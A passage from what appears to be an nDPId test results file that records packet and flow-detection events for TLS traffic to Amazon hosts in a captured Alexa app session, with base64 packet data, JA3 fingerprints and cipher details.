+00732{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":685,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":55,"flow_packet_id":4,"flow_first_seen":1490976047560,"flow_last_seen":1490976047610,"flow_tot_l4_data_len":661,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":165,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.85.209.216","src_port":54427,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"www.amazon.com","ja3":"5ee142340adf02ded757447e2ff78986","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1"}} +00428{"flow_id":56,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":687,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976047,"pkt_ts_usec":629213,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAwJsxAAOcGf3ZIFc6HrBAq2AG7pJ+6tUVgg\/ibBnASH\/6xFgAAAgQFtAEDAwY="} +00414{"flow_id":56,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":688,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976047,"pkt_ts_usec":631210,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoy+JAAEAGgWisECrYSBXOh6SfAbuD+JsGurVFYVAQAVf7hwAA"} +00737{"flow_id":56,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":689,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976047,"pkt_ts_usec":631468,"pkt_caplen":291,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":291,"pkt_l4_len":257,"pkt":"AMDKkaPvePiC0\/vCCABFAAEVy+NAAEAGgHqsECrYSBXOh6SfAbuD+JsGurVFYVAYAVcKJQAAFgMBAOgBAADkAwP\/\/gAuAk5v3TG7NhYWBuGwBvgFQjeXqnaZyi9wFBW4dCCAoIhp+G+13yEt\/a9wFbgYbBGSpt6bYu8wE9XD90462wAg+vrMqcyozBTME8ArwC\/ALMAwwBPAFACcAJ0ALwA1AAoBAAB7CgoAAP8BAAEAAAAAFgAUAAARZmxzLW5hLmFtYXpvbi5jb20AFwAAACMAAAANABQAEgQDCAQEAQUDCAUFAQgGBgECAQAFAAUBAAAAAAASAAAAEAAOAAwCaDIIaHR0cC8xLjEACwACAQAACgAKAAj6+gAdABcAGCoqAAEA"} +00734{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":689,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":56,"flow_packet_id":4,"flow_first_seen":1490976047563,"flow_last_seen":1490976047631,"flow_tot_l4_data_len":345,"flow_min_l4_data_len":20,"flow_max_l4_data_len":257,"flow_avg_l4_data_len":86,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"72.21.206.135","src_port":42143,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"fls-na.amazon.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1"}} +00430{"flow_id":55,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":692,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976047,"pkt_ts_usec":652109,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ePiC0\/vCAMDKkVoBCABFAAA09e9AAPMGtL00VdHYrBAq2AG71JuiSVzoYK0kLIAQAHbWWAAAAQEICm2QqQcA9lDo"} +00645{"flow_id":55,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":693,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976047,"pkt_ts_usec":664674,"pkt_caplen":222,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":222,"pkt_l4_len":188,"pkt":"ePiC0\/vCAMDKkVoBCABFAADQ9fBAAPMGtCA0VdHYrBAq2AG71JuiSVzoYK0kLIAYAHbF0gAAAQEICm2QqQgA9lDoFgMDAGQCAABgAwPz\/rL0ydWN5C5NB8NrgWOFN9iaI2tPjg0HNAnksKY25SBHUQT65GzShmSQt43DXU\/iRpfvK3yVUZImuuA4WpXHa8AvAAAY\/wEAAQAABQAAABAACwAJCGh0dHAvMS4xFAMDAAEBFgMDACjXnZEIwuYj8Sazmu3a+8RkCzOYfnum4J+cC0cC\/KHsJKFCmQcYLw3D"} +00786{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":693,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":55,"flow_packet_id":6,"flow_first_seen":1490976047560,"flow_last_seen":1490976047664,"flow_tot_l4_data_len":881,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":146,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.85.209.216","src_port":54427,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"www.amazon.com","ja3":"5ee142340adf02ded757447e2ff78986","ja3s":"d199ba0af2b08e204c73d6d81a1fd260","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","alpn":"h2,http\/1.1"}} +00430{"flow_id":55,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":694,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976047,"pkt_ts_usec":668051,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMDKkaPvePiC0\/vCCABFAAA0csVAAEAG6uisECrYNFXR2NSbAbtgrSQsokldhIAQAVvU0AAAAQEICgD2UO5tkKkI"} +00500{"flow_id":55,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":695,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976047,"pkt_ts_usec":668311,"pkt_caplen":117,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":117,"pkt_l4_len":83,"pkt":"AMDKkaPvePiC0\/vCCABFAABncsZAAEAG6rSsECrYNFXR2NSbAbtgrSQsokldhIAYAVuurQAAAQEICgD2UO5tkKkIFAMDAAEBFgMDACgAAAAAAAAAAGpyOypNCOuLYc1rrvLCseEJ8odMssHtaCeJIejNUkhO"} +02388{"flow_id":55,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":700,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976047,"pkt_ts_usec":679392,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"AMDKkaPvePiC0\/vCCABFAAXccsdAAEAG5T6sECrYNFXR2NSbAbtgrSRfokldhIAQAVuEaQAAAQEICgD2UO9tkKkIFwMDCwYAAAAAAAAAAZRJ0WHBRpfMrlIJwaaSZCFDKqEjrdBPKTWYYElyibFFW+M+4oYFg6Z31GToR3evaJ1HvSWn4J4QSSh1Zfc4vZmdl+Z2a5Qpo+avFry6Ob\/j3ghhiS5QMlRGxG5zrckebRzM1HX018SCdKnEIJen9tOFhhYX\/B8uofG+Mj2Y6FDQVvNsE9vzcfWj2Z9j534jS3duVlZZVa7by5HFEP2S2g9CkpNH45NZD3JYReH\/28jQidhLcFicEZ6YRW+MhjF4PZV8n8lramLgBxzjBZoVbNCiCvm7ye2PweCXSSpCVu6o3hqY4jNr+40u5wyz\/afQv\/Cn5CYbBlw3anA6RKLaPfYquAuZIMquOWxXx1+TLfUkB7pBXBMSoawIccWIcDnEqhYtfReM2pQr7gcRkAzT9ct3hskzph0Ilc6hU3gru+d5sCd1Jkmo9tclteey47u21K3gbFhZyDnL8kCSdMaeHgciew\/g1hiBJwDCaycjaQY\/qIF2NwQf1dy608inuEAIhWfvoxK+so2q51uQOjp2Wy+mdWHe1\/4Wx6Y4fNsn0Gdg3fPrP4RgcOncSnTUKF08xGAqkvZxyoroFGIWEkSJeNe\/trR84kC9gdYyd71zdCXJxJObfm6gcXPq8RcEymlAxn1B8HuvUth51TDhVyO2ioQOIGOVFX1wtVNRs09JFu+TnVVPvQceWLQe+u1StOuD+3uV9qMgsYGnAnJln33YXtMmXc3WjZH7fgYG1ltZvqM5I16P1WBH5LRUim03cgAbaH6AcoOjS2tV8ixaYtQFLYNenDZxLEoDHa44NsyLgcCfr080XGaAc0HrraJ1eLcrvX2qD3hjXwYwUj04IAkWa1vI3hhHgwomACnQbZdaFWIkVeTbAROcGzxPdeLkuFev6yN4ZrjyFgMBPn2h5pMYWRKXwS6b8cbKhPmAEHS\/L2JyuqilIn5WvcQ9O7USSP6oTLuCaucluO9n+UwdhxIVwewKk6hLG0Hg3NUo6OuxpJNue+OxU99H9BimLglkFdh9zAI8DoHpaudzj1mTMlAwCQIqBGOXRFRm7S+dnSj3HdE7J+JtyACv4ll7A0fXiFJg7\/3ZyPjDROAAjJ2oDqRcqkTnahzBrVlrR7QOH0QtYerGOhXVyI1RTAWlRhphrOdWJl+swUWZiw3LA7Tq28kZsQr6qmthIZHyvZdboJN3pSKX4J8xhCkcZHUeCZDcnk8fV+DCopTL7AFc67uL1xJZRYhfxdXAqAiT4btcW6dh+8F6QykiIcNgJbr9P5t4BTWNGzJN9Zso9HaZIP+9W821WC3KdJWjj3Usz4ItWqRQWf84OIabvL4ZZj0u5p\/QHwvO8qkqjWKJWwvvK026AjYdG76HvqCFJFxnDkcHTX5gqpVmAmiI9zTPahCINhzaufgeRcIaGGIS\/YaAHC2X9DRXajRd0MS3WibnhG5tlu13hE50Thtrd2qT9Qr5adMQqz2pDAARSgODsJ7g4pFv18GmVrnINxwuBmlj3gCuB\/cB\/sdQPt1eEmPO9cCQX1jCq0ka3ehLrIkBJlE0lVQe2h8FbGL3RKUPdzfLvzQgYhkfQwQUK8L+9Ltp1xNw2BV\/5HScavuWz0lBYtn+L2XReZi52qD02gtIsBC1Fm28hIlbqVCG4\/\/TPVm2jK8g4cAS7ElG3qIf49HvinIVGO5yyAGQZjrcoB4kMLb+\/Cmo8o7V1jN23vW\/t+UEtsuP35grEpGMV43nfvrjfV2DOfwscUWFHn6KE8KPPuSs+0BupzgZoBOJBCoLc+WsdXkt6ZU1k5KvCluEWYPKdpA83GSHQOIfKMLjSHpCKg2ZIZFVedNWUorCJPc9n7TNPJKviTXNeGpSwDoFqdpsqyvS6lGb5rHoY4zygh09tE2PzcT3Q3GzxropigWk39I1bz1LJic="} +02305{"flow_id":55,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":701,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976047,"pkt_ts_usec":679598,"pkt_caplen":1445,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1445,"pkt_l4_len":1411,"pkt":"AMDKkaPvePiC0\/vCCABFAAWXcshAAEAG5YKsECrYNFXR2NSbAbtgrSoHokldhIAYAVsQyAAAAQEICgD2UO9tkKkIbfB\/yi0bv0M7mB4yOZSYtWdZMXUZWfKPnTIcrXW5Fq02Dhm9p9qOYjxbpmkRWUE+\/QotKLObRj+l2uexMDkTXqKGtLcVKgfqQIq0yK9FYo3k0\/wUGwSR0fsQgb0SSGkA4phxIfU4fOf1C2THRg11kJCquJFngebOVK9m79Jq0y47YJqxj3QlMpa+O6UO4tYIbTjdtFtpoloYWx0K3f\/ey0i949h3\/WaTNsTbLBQiktDpJtb2NBuiukMTf4GRsmci3kX29\/083wrYiYjjkL8m7JHIcQny3YhQ8ACnxmWLEuXI7dO4Z51SJaRW+aHKACQnr3bK7ZkoHrjpL4muNQGDH9MjNPx7zaZ9pUgqPRwyY335Y\/o+5LBY7CLOsgQbOXw6Rd8bC6IeXvxHLpWbJn6eU3Xy4C5bZ7m1kRkxe6NBKhJSneNUTwsXkLZbH2YU0XCyUISYAM3n9OFeryoZoQlI0b2iFWcOjRgCYIAUY\/hbvGXT57C\/HZPiniljjsJNufM1dWOFnGrSpfWSu7p6Gf9VYNGt2bNFZJzvRe1jooMED4+1HVlHaGFss7sn4x7KQTi1jEWb8LtUGV\/yeVy6ukFf3tBDi1fIHQXXB+d9+XW6c6VYKiQp2ILjdHsZfWTR5JccJSkr5p8i6o+EtIeroB47hPwXZ8srW94eb10\/OVcSrV1IFuvsuahmsPoKmsCeSl4Y4kBuweFeZg3hCMW+lRrt3oawzBYMjmVZFbjiaD8dGcBzJNYJMTDec2Xgf2VEYooIgiL\/XxJ\/eh7yuh5wECi6jUlk2w6fvgA+NZ3pZxzTia3fd7E5uamqRVRMBQiSW7dV0o+Gbn5BJKCIYeubCHkcrRJu5uw99aFk+3c96It0XGwTAAX1taH24CoBpFcwRgvOEP\/VeqxBvvaqSd+R8pg+Ks1tDvZc20vgzCFn2UfAtme24J9WXYTVlrc+NQ4K7kBxy+XAOcJPgiXUVaszYQaL0HsXG0z\/k15HzU1lopjyVRa1K5fQnp0KSVaQUvPNOKohzGppNL\/Wcdn1knSTB\/L9qKo03HB\/KjSbltr7nD26j6rXZI1bgLhzI5FcS5p0RGHoQQ0fcmK\/FkZ9+EJQO1sy\/Y4YrVTj0shS1ocsHjBFh5dPEwZdwM2mHkibajPfosoeK2ltMlqsescpdllZ0yDN5qdQRW1lPJM7+tKVH0n0p9lLpItEOTcuMK6Wkq3gvLDMkXrXfHW8LDM6H2NZ8YbYLPqOUi3WWaoYcZgM40vgEXTbcy8Oq\/8P+BXLw7swwkV5nrH6lB7vb\/gC0hz7f1\/8sQUYZc\/zFUDwH5J1LMc2UfoSzXy+ixpTkXVA69ypYa\/IEfo5mNM0oMjIzB8CG1CsQxPnePNZNndM5Nt5XgYgRCcSUa9X82wwJjzpoQaCwqEue6dIn0Dbzm6MI7mjVvKi4lzuuGITHs3PPdrnMVgahtEi7Uj6dSCDYOn9vDebYxAVeCCpyMy30TzArFnwortiuHFnzh58Zm3ehtMcO3u6TFkrocZE5+8lgYPZ3+LVrGPPBQhNOMyi52DpdVbn1JMtQ3JAu1QopheZB\/UKrOuAz0ssjz9CGDHyyZ6pEThrNjTy62u24sSHdXMP2V8yuOIys7Z6kWZfEqFiBRiej2xdz1\/J6vhnMjK5Kq\/CCXWjiHuySdWXIrHYNKIGxMVbe5pKkNgTGZWWD3ONG450XVgYMSb+C5TtUYOrQDUcHHroP7avxU5IMZh3wD0DNFkEJsX2Vva9jZ3A6Rl7571sdC1NbSwO8tUkbRI2PBt2AvFtwUVRzfgpaeh6VsKQHy8Fsa7Y3t6BUPT184b3mvDr2p0cHML6KKM="} +00424{"flow_id":56,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":702,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976047,"pkt_ts_usec":694431,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAoM15AAOcGcuxIFc6HrBAq2AG7pJ+6tUVhg\/ib81AQf\/x79QAAAAAAAAAA"} +00424{"flow_id":56,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":703,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976047,"pkt_ts_usec":694892,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAoaaJAAN0GRqhIFc6HrBAq2AG7pJ+6tUVhg\/ib81AQf\/x79QAAAAAAAAAA"} +00631{"flow_id":56,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":704,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976047,"pkt_ts_usec":695425,"pkt_caplen":210,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":210,"pkt_l4_len":176,"pkt":"ePiC0\/vCAMDKkVoBCABFAADEaaNAAN0GRgtIFc6HrBAq2AG7pJ+6tUVhg\/ib81AYf\/yCgAAAFgMDAGQCAABgAwOS8\/bZwVfj9ZaYcThQkXYRujtLiD9w\/2gYQED02RFjLCCAoIhp+G+13yEt\/a9wFbgYbBGSpt6bYu8wE9XD904628AvAAAY\/wEAAQAABQAAABAACwAJCGh0dHAvMS4xFAMDAAEBFgMDAChh7fC3fO7v+rOLu0MlGETE2X5WVPC+0YiyCPSFTnbp3RiifTKP1EJa"} +00788{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":704,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":56,"flow_packet_id":7,"flow_first_seen":1490976047563,"flow_last_seen":1490976047695,"flow_tot_l4_data_len":561,"flow_min_l4_data_len":20,"flow_max_l4_data_len":257,"flow_avg_l4_data_len":80,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"72.21.206.135","src_port":42143,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"fls-na.amazon.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"d199ba0af2b08e204c73d6d81a1fd260","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","alpn":"h2,http\/1.1"}} +00415{"flow_id":56,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":705,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976047,"pkt_ts_usec":696294,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoy+RAAEAGgWasECrYSBXOh6SfAbuD+JvzurVF\/VAQAVv5+gAA"} +00486{"flow_id":56,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":706,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976047,"pkt_ts_usec":697069,"pkt_caplen":105,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":105,"pkt_l4_len":71,"pkt":"AMDKkaPvePiC0\/vCCABFAABby+VAAEAGgTKsECrYSBXOh6SfAbuD+JvzurVF\/VAYAVs0XwAAFAMDAAEBFgMDACgAAAAAAAAAACelpYCuQ1E8R6oZIRMM9OCYwa+Exg\/ZDZELOWS3o7qW"} +02404{"flow_id":56,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":707,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976047,"pkt_ts_usec":708316,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"AMDKkaPvePiC0\/vCCABFAAXcy+ZAAEAGe7CsECrYSBXOh6SfAbuD+JwmurVF\/VAQAVvFiwAAFwMDB8gAAAAAAAAAATCnAGyWbYtohtkp4wTfcanLLNGhIn7G3xnJcvyZDEGwWRXqtpZOdaVhnA2S80B2K1RJTSQ7cMfzx\/GI8ANh2A9AWgaowQfXhqbOAuR+45bIUpXKksqJXD8pPrCr3F5EiRDQB4HaApHutaHCNh8VBOJ\/MFhXimCvUih9xM58ITgOKYcVYoDcfwx1dixpMiD\/Ovaw77ZXZrIwMXzKtItzYBy8HBwB0JBGXElsaVHafscwT6ieptIjfQ92eZrFtZzmZJYKBFirjh4yEoKUDyCTm+\/CXHQLDbP8+VlKwH+a409W9zIEuXjHeGyDVhV9AvBGQQAyeWftjsuEFSH8D2TMf60t75wal4feiP4ihuLO5V+CXF94obJJOqHe+GqcoDdptDgkUiHg\/0vW6rxPwuxM49vAp+sFIhEF+Ctx37BggASF5ecr0lVVYx+2xiL5VLTWHy50CpD1vihGZTcgWLU1ViQQN0rp2TfV2s+Y3qW4L\/JrKHWGzux3YiR7zc7mkWbjtq8yLBXbwym8BZ49LsXHJJaJ9d\/aqWA6piURSVscwhY2N6T6ZcHmyi0NekZJyKMTcQvLhDXas79DcACjUFajKk39aLVq8hRd3XJU\/OMtgBjL0yaizFQoufZtSFHCUiHv4pUzCuZZfLmxrFGEoD85iByuvr1bnskaR38uwuR5ksk8CM+HCNNINo7N7GmuJMCYSshcZjY6gtveyJ5YUgOe\/Av\/aiMYYLe3ku\/CNe9om38wTQQKFLCwOvRG+z3lUuMJT9\/6swtMx8yFPK8enFiHYi\/s5cJ+c45LqHywkHcCSgho3gJwThyDoqbMF+yC8AI9GtiPNV4ZiaoBnp\/EDeDFkWk6Y\/TiR7uNhWcGXw5SLZwV3Qf4GqSfhJG9s02upC1BrEq6wa8H8ydnPf4PMaSYTTdHrRNTOw8y25O8euPAIE9PW\/keJRfss10USLm9Uz5S4CF3lW5FG\/M\/RbkQ2aS7tVP9oNvv6sOYwINoOjumJdYhaqUQhP5XvGV3a+pb+8nS9+4S52d\/qj0OAro\/ZThfoEoyfc1osE92uud4grsLdT3E5Sw6jrUKnxxBfnIAOXlLwgEK3FT1vZ4pC+sul3xSm540aSLgkce2IkvnIJHgeY3WGfP74HYppJLD+R5muR8wDhXXtLh4Ezjn9Mta6z5zcrJ5\/Rb5gjWTE7rEhEtyuXS0zwN5dYw\/lWYz7GtwkKtJKamScVime29n4Dse8+aIAQkwQ7q+Sx7f92CM2isIYIlPhXmEtDl4EVaiKQfM9pp3OYMf432w3bprdOM3HifSOQCEQ98ZkeOjIL45u5GZ+uLWI40GZzPIc\/JaCwDz8Hd876+c650CyFI7BnZB4+JM9vvnupeEtq9MrZ8j8Og7DkUuiHGiWacak36lJIz5JHX4pfp1upfiK4HrPjTt+sXjzyA8FN\/KZ2J\/jRzeu119ug8974\/ofOeQFxTdZo33gJyCSRlkYsdct+0e\/v8RFAZII5rljR2D+hHLiGI8SByaUnT7b7kVZL0NXMZ6hA48bhlsmVyMwo3k62QkucqeMNnomerg4Ud6myyyqwPg8WVj+MwadyaIK6L\/lBTuOiCD1651CVziNfC\/ioSzDpilrBU7dKwF56300euYtdw84EumQgwmUUmWa6t8BDD7PVfuOErP9tIeY7r93YFqJaKl1W7Lq43TI1eAN8kdGk\/x2sX9t3o5o7YUFl0PN0qsCSEhyGLfCIfALE+RyPRwaiN\/pEesf65d5VbUZKgQ0bkON9iAmMg\/kFzCzuEJAmfC9w0KgEdUZa0ZPD37xJaRBubm9zhlSUvNNeFi2zwGfxx7OjaTW7KZktmhJjpSfY7fjjdVwFuTQCLttLXpn9i3IxDTdXRL\/14EIhNdsfv2fyq1ymnQ1+w61Jums\/IX98GIXSCyuunjRlEN+6rSBcw="} +01146{"flow_id":56,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":708,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976047,"pkt_ts_usec":708617,"pkt_caplen":591,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":591,"pkt_l4_len":557,"pkt":"AMDKkaPvePiC0\/vCCABFAAJBy+dAAEAGf0qsECrYSBXOh6SfAbuD+KHaurVF\/VAYAVswPQAAIDbxw+L0eHyqnTMsVjzNWfW\/f4CSoVtiCpmomwXNuLxZyB6Jk4A\/y1lpw\/FcM91uX5gjmVe8tLN+0E5np1qMjoFXxD2G2oyVIR9zrDtvzQrD6\/gR19ktJYiBmV6iwgej\/J2gMl26MyhcxolHE\/0N\/fFjrzfnBbLHYbj56iIMdmJG4KSlu7bWpe5TAj+iOq1P4taD55PljkmL9rUPxvnTJN1aZ8h21T9ZXYO+8etvysoMBbyqbrGfpaIQp2eD9QWbxRFxdJZ5yvtntaVKyUjI0bU0hOJe10DtDz7Gb7WE0KoU7XtjFrw52VEUG8UM6D4uhBI91Tz2YQVEOMLr4nPZ\/ttjwIPM4Wd3XyVe6hvBiV6uSsOBnfvj2CAhl3ph1L7IBBtX27YvorlHxXaG30w3r\/t5bm0eH9ftO3Bf4n+54dlbnQcrjqKwXY7uMt1Jo+QSg+AJ96v7JQSJ3N\/ueo31dblgtziTG6fn2t0j00v0k9+ENDBOkEZAKpP73kEbhR5rNe5oddWiboz4HBnxKnMytn7Kw7sQF2h20rseWcupVbLV45\/bcTwnAJbsr5rdyXZX1AZLkj1NnC76gMNKtHpjvXEJQHh48nwa0Rbu4w7jGEXZfwmDtYWX1q5eseeW0pHjv5QcxqdgPCL65iFHESo+78PshgKvKv9J6XOLLIfJbj9fvTus8K7dzvN1h0FdZC5gqL8mIznGkqq7"} +00431{"flow_id":55,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":713,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976047,"pkt_ts_usec":749088,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ePiC0\/vCAMDKkVoBCABFAAA09fFAAPMGtLs0VdHYrBAq2AG71JuiSV2EYK0kX4AQAHbVeQAAAQEICm2QqREA9lDu"} +00425{"flow_id":56,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":714,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976047,"pkt_ts_usec":789365,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAoaaRAAN0GRqZIFc6HrBAq2AG7pJ+6tUX9g\/icJlAQf\/t7JwAAAAAAAAAA"} +00425{"flow_id":56,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":717,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976047,"pkt_ts_usec":814057,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAoRupAAOcGX2BIFc6HrBAq2AG7pJ+6tUX9g\/icJlAQf\/t7JwAAAAAAAAAA"} +02404{"flow_id":56,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":718,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976047,"pkt_ts_usec":832306,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"AMDKkaPvePiC0\/vCCABFAAXcy+hAAEAGe66sECrYSBXOh6SfAbuD+JwmurVF\/VAQAVvFiwAAFwMDB8gAAAAAAAAAATCnAGyWbYtohtkp4wTfcanLLNGhIn7G3xnJcvyZDEGwWRXqtpZOdaVhnA2S80B2K1RJTSQ7cMfzx\/GI8ANh2A9AWgaowQfXhqbOAuR+45bIUpXKksqJXD8pPrCr3F5EiRDQB4HaApHutaHCNh8VBOJ\/MFhXimCvUih9xM58ITgOKYcVYoDcfwx1dixpMiD\/Ovaw77ZXZrIwMXzKtItzYBy8HBwB0JBGXElsaVHafscwT6ieptIjfQ92eZrFtZzmZJYKBFirjh4yEoKUDyCTm+\/CXHQLDbP8+VlKwH+a409W9zIEuXjHeGyDVhV9AvBGQQAyeWftjsuEFSH8D2TMf60t75wal4feiP4ihuLO5V+CXF94obJJOqHe+GqcoDdptDgkUiHg\/0vW6rxPwuxM49vAp+sFIhEF+Ctx37BggASF5ecr0lVVYx+2xiL5VLTWHy50CpD1vihGZTcgWLU1ViQQN0rp2TfV2s+Y3qW4L\/JrKHWGzux3YiR7zc7mkWbjtq8yLBXbwym8BZ49LsXHJJaJ9d\/aqWA6piURSVscwhY2N6T6ZcHmyi0NekZJyKMTcQvLhDXas79DcACjUFajKk39aLVq8hRd3XJU\